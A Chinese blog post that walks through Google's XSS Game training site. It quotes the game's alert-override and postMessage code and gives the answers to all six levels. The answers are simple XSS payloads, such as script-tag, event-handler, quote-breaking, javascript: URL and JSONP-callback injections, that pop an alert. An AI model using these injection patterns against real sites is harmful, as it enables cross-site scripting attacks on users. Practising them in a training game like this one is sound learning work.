有意思的游戏:Google XSS Game

4 篇文章 0 订阅
2 篇文章 0 订阅

Google最近出了一个XSS的游戏:

https://xss-game.appspot.com/

我这个菜鸟看提示,花了两三个小时才全过了。。

这个游戏的规则是只要在攻击网页上弹出alert窗口就可以了。

题目页面是在iframe里嵌套的展现的,那么父窗口是如何知道iframe里成功弹出了窗口?

是这样子实现的:

题目页面加载了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。

https://xss-game.appspot.com/static/game-frame.js

/* If we're being iframed, let the parent know our URL */
/* Kids: don't do this at home! */
parent.postMessage(window.location.toString(), "*");

/* Override window.alert */
var originalAlert = window.alert;
window.alert = function(s) {
  parent.postMessage("success", "*");
  setTimeout(function() { 
    originalAlert("Congratulations, you executed an alert:\n\n" 
      + s + "\n\nYou can now advance to the next level.");
  }, 50);
}
然后父窗口注册了一个EventListener来接收这个消息:

https://xss-game.appspot.com/static/game.js

window.addEventListener("message", function(event) {

  if (!window.location.origin) {
    window.location.origin = window.location.protocol + "//" 
        + window.location.hostname 
        + (window.location.port ? ':' + window.location.port: '');
  }

  if (event.origin == window.location.origin && event.data == "success") {
    userOpenedAlert = true;
    levelSolved();
    return;
  }

最下面是题目的答案。如果想自己玩游戏的,慎拉下。














题目的答案:

Level1:
<script>alert(1)</script>
Level2:
<input οnmοuseοver="alert(1)">

Level3:

https://xss-game.appspot.com/level3/frame#3.jpg' οnlοad="alert(1)">

Level4:

3');alert('1

Level5:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Level6:

重点是前面要有一个空格。

​ https://www.google.com/jsapi?callback=alert


游戏过关之后,google给出了一个xss的文档:

https://www.google.com/about/appsecurity/learning/xss/index.html


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值